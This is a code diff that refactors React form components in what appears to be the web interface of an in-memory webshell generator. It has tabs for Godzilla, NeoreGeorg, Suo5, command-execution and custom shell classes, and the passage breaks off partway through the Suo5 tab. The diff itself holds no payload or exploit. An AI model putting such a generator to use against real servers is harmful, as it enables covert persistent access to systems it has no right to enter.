export function OptionalClassFormField({
|
export function OptionalClassFormField({
|
||||||
form,
|
form,
|
||||||
@@ -72,44 +72,43 @@ export function OptionalClassFormField({
|
|||||||
onCheckedChange={handleToggleRandomClass}
|
onCheckedChange={handleToggleRandomClass}
|
||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
<FormProvider {...form}>
|
|
||||||
{!useRandomClassName && (
|
{!useRandomClassName && (
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="shellClassName"
|
name="shellClassName"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormFieldItem>
|
<Field className="gap-1">
|
||||||
<FormFieldLabel htmlFor="shellClassName">
|
<FieldLabel htmlFor="shellClassName">
|
||||||
{t("mainConfig.shellClassName")} {t("common:optional")}
|
{t("mainConfig.shellClassName")} {t("common:optional")}
|
||||||
</FormFieldLabel>
|
</FieldLabel>
|
||||||
<Input
|
<Input
|
||||||
id="shellClassName"
|
id="shellClassName"
|
||||||
{...field}
|
{...field}
|
||||||
placeholder={t("common:placeholders.input")}
|
placeholder={t("common:placeholders.input")}
|
||||||
/>
|
/>
|
||||||
</FormFieldItem>
|
</Field>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
)}
|
)}
|
||||||
{!useRandomClassName && (
|
{!useRandomClassName && (
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="injectorClassName"
|
name="injectorClassName"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormFieldItem>
|
<Field className="gap-1">
|
||||||
<FormFieldLabel htmlFor="injectClassName">
|
<FieldLabel htmlFor="injectClassName">
|
||||||
{t("mainConfig.injectorClassName")} {t("common:optional")}
|
{t("mainConfig.injectorClassName")} {t("common:optional")}
|
||||||
</FormFieldLabel>
|
</FieldLabel>
|
||||||
<Input
|
<Input
|
||||||
id="injectClassName"
|
id="injectClassName"
|
||||||
{...field}
|
{...field}
|
||||||
placeholder={t("common:placeholders.input")}
|
placeholder={t("common:placeholders.input")}
|
||||||
/>
|
/>
|
||||||
</FormFieldItem>
|
</Field>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
)}
|
)}
|
||||||
</FormProvider>
|
|
||||||
</Fragment>
|
</Fragment>
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
import { useQuery } from "@tanstack/react-query";
|
import { useQuery } from "@tanstack/react-query";
|
||||||
import { ChevronDown, ChevronRight } from "lucide-react";
|
import { ChevronDown, ChevronRight, InfoIcon } from "lucide-react";
|
||||||
import { useState } from "react";
|
import { useState } from "react";
|
||||||
import { FormProvider, type UseFormReturn } from "react-hook-form";
|
import { Controller, type UseFormReturn } from "react-hook-form";
|
||||||
import { useTranslation } from "react-i18next";
|
import { useTranslation } from "react-i18next";
|
||||||
import { Card, CardContent } from "@/components/ui/card";
|
import { Card, CardContent } from "@/components/ui/card";
|
||||||
import {
|
import {
|
||||||
@@ -9,12 +9,7 @@ import {
|
|||||||
CollapsibleContent,
|
CollapsibleContent,
|
||||||
CollapsibleTrigger,
|
CollapsibleTrigger,
|
||||||
} from "@/components/ui/collapsible";
|
} from "@/components/ui/collapsible";
|
||||||
import {
|
import { Field, FieldLabel } from "@/components/ui/field";
|
||||||
FormControl,
|
|
||||||
FormField,
|
|
||||||
FormFieldItem,
|
|
||||||
FormFieldLabel,
|
|
||||||
} from "@/components/ui/form";
|
|
||||||
import { Input } from "@/components/ui/input";
|
import { Input } from "@/components/ui/input";
|
||||||
import {
|
import {
|
||||||
Select,
|
Select,
|
||||||
@@ -24,6 +19,11 @@ import {
|
|||||||
SelectValue,
|
SelectValue,
|
||||||
} from "@/components/ui/select";
|
} from "@/components/ui/select";
|
||||||
import { TabsContent } from "@/components/ui/tabs";
|
import { TabsContent } from "@/components/ui/tabs";
|
||||||
|
import {
|
||||||
|
Tooltip,
|
||||||
|
TooltipContent,
|
||||||
|
TooltipTrigger,
|
||||||
|
} from "@/components/ui/tooltip";
|
||||||
import { env } from "@/config";
|
import { env } from "@/config";
|
||||||
import type { MemShellFormSchema } from "@/types/schema";
|
import type { MemShellFormSchema } from "@/types/schema";
|
||||||
import { OptionalClassFormField } from "./classname-field";
|
import { OptionalClassFormField } from "./classname-field";
|
||||||
@@ -51,7 +51,6 @@ export function CommandTabContent({
|
|||||||
});
|
});
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<FormProvider {...form}>
|
|
||||||
<TabsContent value="Command">
|
<TabsContent value="Command">
|
||||||
<Card>
|
<Card>
|
||||||
<CardContent className="space-y-2 mt-4">
|
<CardContent className="space-y-2 mt-4">
|
||||||
@@ -59,21 +58,29 @@ export function CommandTabContent({
|
|||||||
<ShellTypeFormField form={form} shellTypes={shellTypes} />
|
<ShellTypeFormField form={form} shellTypes={shellTypes} />
|
||||||
<UrlPatternFormField form={form} />
|
<UrlPatternFormField form={form} />
|
||||||
</div>
|
</div>
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="commandParamName"
|
name="commandParamName"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormFieldItem>
|
<Field className="gap-1">
|
||||||
<FormFieldLabel>
|
<div className="flex items-center gap-1">
|
||||||
|
<FieldLabel>
|
||||||
{t("common:paramName")} {t("common:optional")}
|
{t("common:paramName")} {t("common:optional")}
|
||||||
</FormFieldLabel>
|
</FieldLabel>
|
||||||
<FormControl>
|
<Tooltip>
|
||||||
|
<TooltipTrigger>
|
||||||
|
<InfoIcon className="h-3.5 w-3.5 text-muted-foreground cursor-help" />
|
||||||
|
</TooltipTrigger>
|
||||||
|
<TooltipContent>
|
||||||
|
<p>{t("common:paramName.description")}</p>
|
||||||
|
</TooltipContent>
|
||||||
|
</Tooltip>
|
||||||
|
</div>
|
||||||
<Input
|
<Input
|
||||||
{...field}
|
{...field}
|
||||||
placeholder={t("common:placeholders.input")}
|
placeholder={t("common:placeholders.input")}
|
||||||
/>
|
/>
|
||||||
</FormControl>
|
</Field>
|
||||||
</FormFieldItem>
|
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
|
|
||||||
@@ -88,24 +95,22 @@ export function CommandTabContent({
|
|||||||
</CollapsibleTrigger>
|
</CollapsibleTrigger>
|
||||||
<CollapsibleContent className="space-y-2 pt-2">
|
<CollapsibleContent className="space-y-2 pt-2">
|
||||||
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
|
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="encryptor"
|
name="encryptor"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormFieldItem>
|
<Field className="gap-1">
|
||||||
<FormFieldLabel>{t("common:encryptor")}</FormFieldLabel>
|
<FieldLabel>{t("common:encryptor")}</FieldLabel>
|
||||||
<Select
|
<Select
|
||||||
onValueChange={field.onChange}
|
onValueChange={field.onChange}
|
||||||
value={field.value}
|
value={field.value}
|
||||||
defaultValue="RAW"
|
defaultValue="RAW"
|
||||||
>
|
>
|
||||||
<FormControl>
|
|
||||||
<SelectTrigger>
|
<SelectTrigger>
|
||||||
<SelectValue
|
<SelectValue
|
||||||
placeholder={t("common:placeholders.select")}
|
data-placeholder={t("common:placeholders.select")}
|
||||||
/>
|
/>
|
||||||
</SelectTrigger>
|
</SelectTrigger>
|
||||||
</FormControl>
|
|
||||||
<SelectContent>
|
<SelectContent>
|
||||||
{data?.encryptors?.map((v) => (
|
{data?.encryptors?.map((v) => (
|
||||||
<SelectItem key={v} value={v}>
|
<SelectItem key={v} value={v}>
|
||||||
@@ -114,29 +119,25 @@ export function CommandTabContent({
|
|||||||
))}
|
))}
|
||||||
</SelectContent>
|
</SelectContent>
|
||||||
</Select>
|
</Select>
|
||||||
</FormFieldItem>
|
</Field>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="implementationClass"
|
name="implementationClass"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormFieldItem>
|
<Field className="gap-1">
|
||||||
<FormFieldLabel>
|
<FieldLabel>{t("common:implementationClass")}</FieldLabel>
|
||||||
{t("common:implementationClass")}
|
|
||||||
</FormFieldLabel>
|
|
||||||
<Select
|
<Select
|
||||||
onValueChange={field.onChange}
|
onValueChange={field.onChange}
|
||||||
value={field.value}
|
value={field.value}
|
||||||
defaultValue="RuntimeExec"
|
defaultValue="RuntimeExec"
|
||||||
>
|
>
|
||||||
<FormControl>
|
|
||||||
<SelectTrigger>
|
<SelectTrigger>
|
||||||
<SelectValue
|
<SelectValue
|
||||||
placeholder={t("common:placeholders.select")}
|
data-placeholder={t("common:placeholders.select")}
|
||||||
/>
|
/>
|
||||||
</SelectTrigger>
|
</SelectTrigger>
|
||||||
</FormControl>
|
|
||||||
<SelectContent>
|
<SelectContent>
|
||||||
{data?.implementationClasses?.map((v) => (
|
{data?.implementationClasses?.map((v) => (
|
||||||
<SelectItem key={v} value={v}>
|
<SelectItem key={v} value={v}>
|
||||||
@@ -145,28 +146,26 @@ export function CommandTabContent({
|
|||||||
))}
|
))}
|
||||||
</SelectContent>
|
</SelectContent>
|
||||||
</Select>
|
</Select>
|
||||||
</FormFieldItem>
|
</Field>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="commandTemplate"
|
name="commandTemplate"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormFieldItem>
|
<Field className="gap-1">
|
||||||
<FormFieldLabel>
|
<FieldLabel>
|
||||||
{t("common:commandTemplate")} {t("common:optional")}
|
{t("common:commandTemplate")} {t("common:optional")}
|
||||||
</FormFieldLabel>
|
</FieldLabel>
|
||||||
<FormControl>
|
|
||||||
<Input
|
<Input
|
||||||
{...field}
|
{...field}
|
||||||
placeholder={t("common:commandTemplate.placeholder")}
|
placeholder={t("common:commandTemplate.placeholder")}
|
||||||
/>
|
/>
|
||||||
</FormControl>
|
|
||||||
<p className="text-xs text-muted-foreground mt-1">
|
<p className="text-xs text-muted-foreground mt-1">
|
||||||
{t("common:commandTemplate.description")}
|
{t("common:commandTemplate.description")}
|
||||||
</p>
|
</p>
|
||||||
</FormFieldItem>
|
</Field>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
</CollapsibleContent>
|
</CollapsibleContent>
|
||||||
@@ -176,6 +175,5 @@ export function CommandTabContent({
|
|||||||
</CardContent>
|
</CardContent>
|
||||||
</Card>
|
</Card>
|
||||||
</TabsContent>
|
</TabsContent>
|
||||||
</FormProvider>
|
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,21 +1,15 @@
|
|||||||
import { useEffect, useRef, useState } from "react";
|
import { useEffect, useRef, useState } from "react";
|
||||||
import { FormProvider, type UseFormReturn } from "react-hook-form";
|
import { Controller, type UseFormReturn } from "react-hook-form";
|
||||||
import { useTranslation } from "react-i18next";
|
import { useTranslation } from "react-i18next";
|
||||||
import { toast } from "sonner";
|
import { toast } from "sonner";
|
||||||
import { Card, CardContent } from "@/components/ui/card";
|
import { Card, CardContent } from "@/components/ui/card";
|
||||||
import {
|
import { Field, FieldError, FieldLabel } from "@/components/ui/field";
|
||||||
FormControl,
|
|
||||||
FormField,
|
|
||||||
FormFieldItem,
|
|
||||||
FormFieldLabel,
|
|
||||||
FormMessage,
|
|
||||||
} from "@/components/ui/form";
|
|
||||||
import { Input } from "@/components/ui/input";
|
import { Input } from "@/components/ui/input";
|
||||||
import { Label } from "@/components/ui/label";
|
import { Label } from "@/components/ui/label";
|
||||||
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
|
import { RadioGroup, RadioGroupItem } from "@/components/ui/radio-group";
|
||||||
import { TabsContent } from "@/components/ui/tabs";
|
import { TabsContent } from "@/components/ui/tabs";
|
||||||
import { Textarea } from "@/components/ui/textarea";
|
import { Textarea } from "@/components/ui/textarea";
|
||||||
import { env } from "@/config.ts";
|
import { env } from "@/config";
|
||||||
import type { MemShellFormSchema } from "@/types/schema";
|
import type { MemShellFormSchema } from "@/types/schema";
|
||||||
import { OptionalClassFormField } from "./classname-field";
|
import { OptionalClassFormField } from "./classname-field";
|
||||||
import { ShellTypeFormField } from "./shelltype-field";
|
import { ShellTypeFormField } from "./shelltype-field";
|
||||||
@@ -90,7 +84,6 @@ export default function CustomTabContent({
|
|||||||
}, [classNameEndpoint, form, shellClassBase64, t]);
|
}, [classNameEndpoint, form, shellClassBase64, t]);
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<FormProvider {...form}>
|
|
||||||
<TabsContent value="Custom">
|
<TabsContent value="Custom">
|
||||||
<Card>
|
<Card>
|
||||||
<CardContent className="space-y-2 mt-4">
|
<CardContent className="space-y-2 mt-4">
|
||||||
@@ -98,30 +91,30 @@ export default function CustomTabContent({
|
|||||||
<ShellTypeFormField form={form} shellTypes={shellTypes} />
|
<ShellTypeFormField form={form} shellTypes={shellTypes} />
|
||||||
<UrlPatternFormField form={form} />
|
<UrlPatternFormField form={form} />
|
||||||
</div>
|
</div>
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="shellClassBase64"
|
name="shellClassBase64"
|
||||||
render={({ field }) => (
|
render={({ field, fieldState }) => (
|
||||||
<FormFieldItem>
|
<Field className="gap-1">
|
||||||
<FormFieldLabel>{t("shellClass")}</FormFieldLabel>
|
<FieldLabel>{t("shellClass")}</FieldLabel>
|
||||||
<RadioGroup
|
<RadioGroup
|
||||||
value={isFile ? "file" : "base64"}
|
value={isFile ? "file" : "base64"}
|
||||||
onValueChange={(value) => {
|
onValueChange={(value) => {
|
||||||
field.onChange("");
|
field.onChange("");
|
||||||
setIsFile(value === "file");
|
setIsFile(value === "file");
|
||||||
}}
|
}}
|
||||||
className="flex items-center space-x-2"
|
className="flex items-center"
|
||||||
>
|
>
|
||||||
<div className="flex items-center space-x-2">
|
<div className="flex items-center">
|
||||||
<RadioGroupItem value="base64" id="optionOne" />
|
<RadioGroupItem value="base64" id="optionOne" />
|
||||||
<Label htmlFor="optionOne">Base64</Label>
|
<Label htmlFor="optionOne">Base64</Label>
|
||||||
</div>
|
</div>
|
||||||
<div className="flex items-center space-x-2">
|
<div className="flex items-center">
|
||||||
<RadioGroupItem value="file" id="optionTwo" />
|
<RadioGroupItem value="file" id="optionTwo" />
|
||||||
<Label htmlFor="optionTwo">File</Label>
|
<Label htmlFor="optionTwo">File</Label>
|
||||||
</div>
|
</div>
|
||||||
</RadioGroup>
|
</RadioGroup>
|
||||||
<FormControl className="mt-2">
|
<div className="mt-2">
|
||||||
{isFile ? (
|
{isFile ? (
|
||||||
<Input
|
<Input
|
||||||
onChange={(e) => {
|
onChange={(e) => {
|
||||||
@@ -130,9 +123,8 @@ export default function CustomTabContent({
|
|||||||
const reader = new FileReader();
|
const reader = new FileReader();
|
||||||
reader.onload = (event) => {
|
reader.onload = (event) => {
|
||||||
const base64String =
|
const base64String =
|
||||||
(event.target?.result as string)?.split(
|
(event.target?.result as string)?.split(",")[1] ||
|
||||||
",",
|
"";
|
||||||
)[1] || "";
|
|
||||||
field.onChange(base64String);
|
field.onChange(base64String);
|
||||||
};
|
};
|
||||||
reader.readAsDataURL(file);
|
reader.readAsDataURL(file);
|
||||||
@@ -149,15 +141,14 @@ export default function CustomTabContent({
|
|||||||
className="h-24"
|
className="h-24"
|
||||||
/>
|
/>
|
||||||
)}
|
)}
|
||||||
</FormControl>
|
</div>
|
||||||
<FormMessage />
|
{fieldState.error && <FieldError errors={[fieldState.error]} />}
|
||||||
</FormFieldItem>
|
</Field>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
<OptionalClassFormField form={form} />
|
<OptionalClassFormField form={form} />
|
||||||
</CardContent>
|
</CardContent>
|
||||||
</Card>
|
</Card>
|
||||||
</TabsContent>
|
</TabsContent>
|
||||||
</FormProvider>
|
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
import { FormProvider, type UseFormReturn } from "react-hook-form";
|
import { Controller, type UseFormReturn } from "react-hook-form";
|
||||||
import { useTranslation } from "react-i18next";
|
import { useTranslation } from "react-i18next";
|
||||||
import { Card, CardContent } from "@/components/ui/card";
|
import { Card, CardContent } from "@/components/ui/card";
|
||||||
import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form";
|
import { Field, FieldLabel } from "@/components/ui/field";
|
||||||
import { Input } from "@/components/ui/input";
|
import { Input } from "@/components/ui/input";
|
||||||
import { TabsContent } from "@/components/ui/tabs";
|
import { TabsContent } from "@/components/ui/tabs";
|
||||||
import type { MemShellFormSchema } from "@/types/schema";
|
import type { MemShellFormSchema } from "@/types/schema";
|
||||||
@@ -18,72 +18,70 @@ export function GodzillaTabContent({
|
|||||||
}>) {
|
}>) {
|
||||||
const { t } = useTranslation(["memshell", "common"]);
|
const { t } = useTranslation(["memshell", "common"]);
|
||||||
return (
|
return (
|
||||||
<FormProvider {...form}>
|
|
||||||
<TabsContent value="Godzilla">
|
<TabsContent value="Godzilla">
|
||||||
<Card>
|
<Card>
|
||||||
<CardContent className="space-y-2 mt-4">
|
<CardContent className="flex flex-col gap-2 mt-4">
|
||||||
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
|
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
|
||||||
<ShellTypeFormField form={form} shellTypes={shellTypes} />
|
<ShellTypeFormField form={form} shellTypes={shellTypes} />
|
||||||
<UrlPatternFormField form={form} />
|
<UrlPatternFormField form={form} />
|
||||||
</div>
|
</div>
|
||||||
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
|
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="godzillaPass"
|
name="godzillaPass"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormFieldItem>
|
<Field className="gap-1">
|
||||||
<FormFieldLabel>
|
<FieldLabel>
|
||||||
{t("shellToolConfig.godzilla.pass")}{" "}
|
{t("shellToolConfig.godzilla.pass")} {t("common:optional")}
|
||||||
{t("common:optional")}
|
</FieldLabel>
|
||||||
</FormFieldLabel>
|
|
||||||
<Input
|
<Input
|
||||||
{...field}
|
{...field}
|
||||||
placeholder={t("common:placeholders.input")}
|
placeholder={t("common:placeholders.input")}
|
||||||
/>
|
/>
|
||||||
</FormFieldItem>
|
</Field>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="godzillaKey"
|
name="godzillaKey"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormFieldItem>
|
<Field className="gap-1">
|
||||||
<FormFieldLabel>
|
<FieldLabel>
|
||||||
{t("shellToolConfig.godzilla.key")} {t("common:optional")}
|
{t("shellToolConfig.godzilla.key")} {t("common:optional")}
|
||||||
</FormFieldLabel>
|
</FieldLabel>
|
||||||
<Input
|
<Input
|
||||||
{...field}
|
{...field}
|
||||||
placeholder={t("common:placeholders.input")}
|
placeholder={t("common:placeholders.input")}
|
||||||
/>
|
/>
|
||||||
</FormFieldItem>
|
</Field>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="headerName"
|
name="headerName"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormFieldItem>
|
<Field className="gap-1">
|
||||||
<FormFieldLabel>{t("common:headerName")}</FormFieldLabel>
|
<FieldLabel>{t("common:headerName")}</FieldLabel>
|
||||||
<Input
|
<Input
|
||||||
{...field}
|
{...field}
|
||||||
placeholder={t("common:placeholders.input")}
|
placeholder={t("common:placeholders.input")}
|
||||||
/>
|
/>
|
||||||
</FormFieldItem>
|
</Field>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="headerValue"
|
name="headerValue"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormFieldItem>
|
<Field className="gap-1">
|
||||||
<FormFieldLabel>
|
<FieldLabel>
|
||||||
{t("common:headerValue")} {t("common:optional")}
|
{t("common:headerValue")} {t("common:optional")}
|
||||||
</FormFieldLabel>
|
</FieldLabel>
|
||||||
<Input
|
<Input
|
||||||
{...field}
|
{...field}
|
||||||
placeholder={t("common:placeholders.input")}
|
placeholder={t("common:placeholders.input")}
|
||||||
/>
|
/>
|
||||||
</FormFieldItem>
|
</Field>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
@@ -91,6 +89,5 @@ export function GodzillaTabContent({
|
|||||||
</CardContent>
|
</CardContent>
|
||||||
</Card>
|
</Card>
|
||||||
</TabsContent>
|
</TabsContent>
|
||||||
</FormProvider>
|
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
import { FormProvider, type UseFormReturn } from "react-hook-form";
|
import { Controller, type UseFormReturn } from "react-hook-form";
|
||||||
import { useTranslation } from "react-i18next";
|
import { useTranslation } from "react-i18next";
|
||||||
import { Card, CardContent } from "@/components/ui/card";
|
import { Card, CardContent } from "@/components/ui/card";
|
||||||
import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form";
|
import { Field, FieldLabel } from "@/components/ui/field";
|
||||||
import { Input } from "@/components/ui/input";
|
import { Input } from "@/components/ui/input";
|
||||||
import { TabsContent } from "@/components/ui/tabs";
|
import { TabsContent } from "@/components/ui/tabs";
|
||||||
import type { MemShellFormSchema } from "@/types/schema";
|
import type { MemShellFormSchema } from "@/types/schema";
|
||||||
@@ -18,7 +18,6 @@ export function NeoRegTabContent({
|
|||||||
}>) {
|
}>) {
|
||||||
const { t } = useTranslation(["memshell", "common"]);
|
const { t } = useTranslation(["memshell", "common"]);
|
||||||
return (
|
return (
|
||||||
<FormProvider {...form}>
|
|
||||||
<TabsContent value="NeoreGeorg">
|
<TabsContent value="NeoreGeorg">
|
||||||
<Card>
|
<Card>
|
||||||
<CardContent className="space-y-2 mt-4">
|
<CardContent className="space-y-2 mt-4">
|
||||||
@@ -27,32 +26,32 @@ export function NeoRegTabContent({
|
|||||||
<UrlPatternFormField form={form} />
|
<UrlPatternFormField form={form} />
|
||||||
</div>
|
</div>
|
||||||
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
|
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="headerName"
|
name="headerName"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormFieldItem>
|
<Field className="gap-1">
|
||||||
<FormFieldLabel>{t("common:headerName")}</FormFieldLabel>
|
<FieldLabel>{t("common:headerName")}</FieldLabel>
|
||||||
<Input
|
<Input
|
||||||
{...field}
|
{...field}
|
||||||
placeholder={t("common:placeholders.input")}
|
placeholder={t("common:placeholders.input")}
|
||||||
/>
|
/>
|
||||||
</FormFieldItem>
|
</Field>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="headerValue"
|
name="headerValue"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormFieldItem>
|
<Field className="gap-1">
|
||||||
<FormFieldLabel>
|
<FieldLabel>
|
||||||
{t("common:headerValue")} {t("common:optional")}
|
{t("common:headerValue")} {t("common:optional")}
|
||||||
</FormFieldLabel>
|
</FieldLabel>
|
||||||
<Input
|
<Input
|
||||||
{...field}
|
{...field}
|
||||||
placeholder={t("common:placeholders.input")}
|
placeholder={t("common:placeholders.input")}
|
||||||
/>
|
/>
|
||||||
</FormFieldItem>
|
</Field>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
@@ -60,6 +59,5 @@ export function NeoRegTabContent({
|
|||||||
</CardContent>
|
</CardContent>
|
||||||
</Card>
|
</Card>
|
||||||
</TabsContent>
|
</TabsContent>
|
||||||
</FormProvider>
|
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,11 +1,6 @@
|
|||||||
import { FormProvider, type UseFormReturn } from "react-hook-form";
|
import { Controller, type UseFormReturn } from "react-hook-form";
|
||||||
import { useTranslation } from "react-i18next";
|
import { useTranslation } from "react-i18next";
|
||||||
import {
|
import { Field, FieldLabel } from "@/components/ui/field";
|
||||||
FormControl,
|
|
||||||
FormField,
|
|
||||||
FormFieldItem,
|
|
||||||
FormFieldLabel,
|
|
||||||
} from "@/components/ui/form";
|
|
||||||
import {
|
import {
|
||||||
Select,
|
Select,
|
||||||
SelectContent,
|
SelectContent,
|
||||||
@@ -13,7 +8,7 @@ import {
|
|||||||
SelectTrigger,
|
SelectTrigger,
|
||||||
SelectValue,
|
SelectValue,
|
||||||
} from "@/components/ui/select";
|
} from "@/components/ui/select";
|
||||||
import type { MemShellFormSchema } from "@/types/schema.ts";
|
import type { MemShellFormSchema } from "@/types/schema";
|
||||||
|
|
||||||
export function ShellTypeFormField({
|
export function ShellTypeFormField({
|
||||||
form,
|
form,
|
||||||
@@ -24,13 +19,12 @@ export function ShellTypeFormField({
|
|||||||
}>) {
|
}>) {
|
||||||
const { t } = useTranslation(["memshell", "common"]);
|
const { t } = useTranslation(["memshell", "common"]);
|
||||||
return (
|
return (
|
||||||
<FormProvider {...form}>
|
<Controller
|
||||||
<FormField
|
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="shellType"
|
name="shellType"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormFieldItem>
|
<Field className="gap-1">
|
||||||
<FormFieldLabel>{t("mainConfig.shellMountType")}</FormFieldLabel>
|
<FieldLabel>{t("mainConfig.shellMountType")}</FieldLabel>
|
||||||
<Select
|
<Select
|
||||||
onValueChange={(e) => {
|
onValueChange={(e) => {
|
||||||
form.resetField("urlPattern");
|
form.resetField("urlPattern");
|
||||||
@@ -38,11 +32,9 @@ export function ShellTypeFormField({
|
|||||||
}}
|
}}
|
||||||
value={field.value}
|
value={field.value}
|
||||||
>
|
>
|
||||||
<FormControl>
|
|
||||||
<SelectTrigger>
|
<SelectTrigger>
|
||||||
<SelectValue placeholder={t("common:placeholders.select")} />
|
<SelectValue data-placeholder={t("common:placeholders.select")} />
|
||||||
</SelectTrigger>
|
</SelectTrigger>
|
||||||
</FormControl>
|
|
||||||
<SelectContent key={shellTypes?.join(",")}>
|
<SelectContent key={shellTypes?.join(",")}>
|
||||||
{shellTypes?.length ? (
|
{shellTypes?.length ? (
|
||||||
shellTypes.map((v) => (
|
shellTypes.map((v) => (
|
||||||
@@ -57,9 +49,8 @@ export function ShellTypeFormField({
|
|||||||
)}
|
)}
|
||||||
</SelectContent>
|
</SelectContent>
|
||||||
</Select>
|
</Select>
|
||||||
</FormFieldItem>
|
</Field>
|
||||||
)}
|
)}
|
||||||
/>
|
/>
|
||||||
</FormProvider>
|
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
import { FormProvider, type UseFormReturn } from "react-hook-form";
|
import { Controller, type UseFormReturn } from "react-hook-form";
|
||||||
import { useTranslation } from "react-i18next";
|
import { useTranslation } from "react-i18next";
|
||||||
import { Card, CardContent } from "@/components/ui/card";
|
import { Card, CardContent } from "@/components/ui/card";
|
||||||
import { FormField, FormFieldItem, FormFieldLabel } from "@/components/ui/form";
|
import { Field, FieldLabel } from "@/components/ui/field";
|
||||||
import { Input } from "@/components/ui/input";
|
import { Input } from "@/components/ui/input";
|
||||||
import { TabsContent } from "@/components/ui/tabs";
|
import { TabsContent } from "@/components/ui/tabs";
|
||||||
import type { MemShellFormSchema } from "@/types/schema";
|
import type { MemShellFormSchema } from "@/types/schema";
|
||||||
@@ -20,7 +20,6 @@ export function Suo5TabContent({
|
|||||||
}>) {
|
}>) {
|
||||||
const { t } = useTranslation(["memshell", "common"]);
|
const { t } = useTranslation(["memshell", "common"]);
|
||||||
return (
|
return (
|
||||||
<FormProvider {...form}>
|
|
||||||
<TabsContent value={tabValue}>
|
<TabsContent value={tabValue}>
|
||||||
<Card>
|
<Card>
|
||||||
<CardContent className="space-y-2 mt-4">
|
<CardContent className="space-y-2 mt-4">
|
||||||
@@ -29,32 +28,32 @@ export function Suo5TabContent({
|
|||||||
<UrlPatternFormField form={form} />
|
<UrlPatternFormField form={form} />
|
||||||
</div>
|
</div>
|
||||||
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
|
<div className="grid grid-cols-1 md:grid-cols-2 gap-2">
|
||||||
<FormField
|
<Controller
|
||||||
control={form.control}
|
control={form.control}
|
||||||
name="headerName"
|
name="headerName"
|
||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormFieldItem>
|
<Field className="gap-1">
|
||||||
<FormFieldLabel>{t("common:headerName")}</FormFieldLabel>
|
<FieldLabel>{t("common:headerName")}</FieldLabel>
|
||||||
<Input
|
<Input
|
||||||
{...field}
|
{...field}
|
||||||
placeholder={t("common:placeholders.input")}
|
placeholder={t("common:placeholders.input")}
|
||||||
/>
|
/>
|
||||||
</FormFieldItem>
|
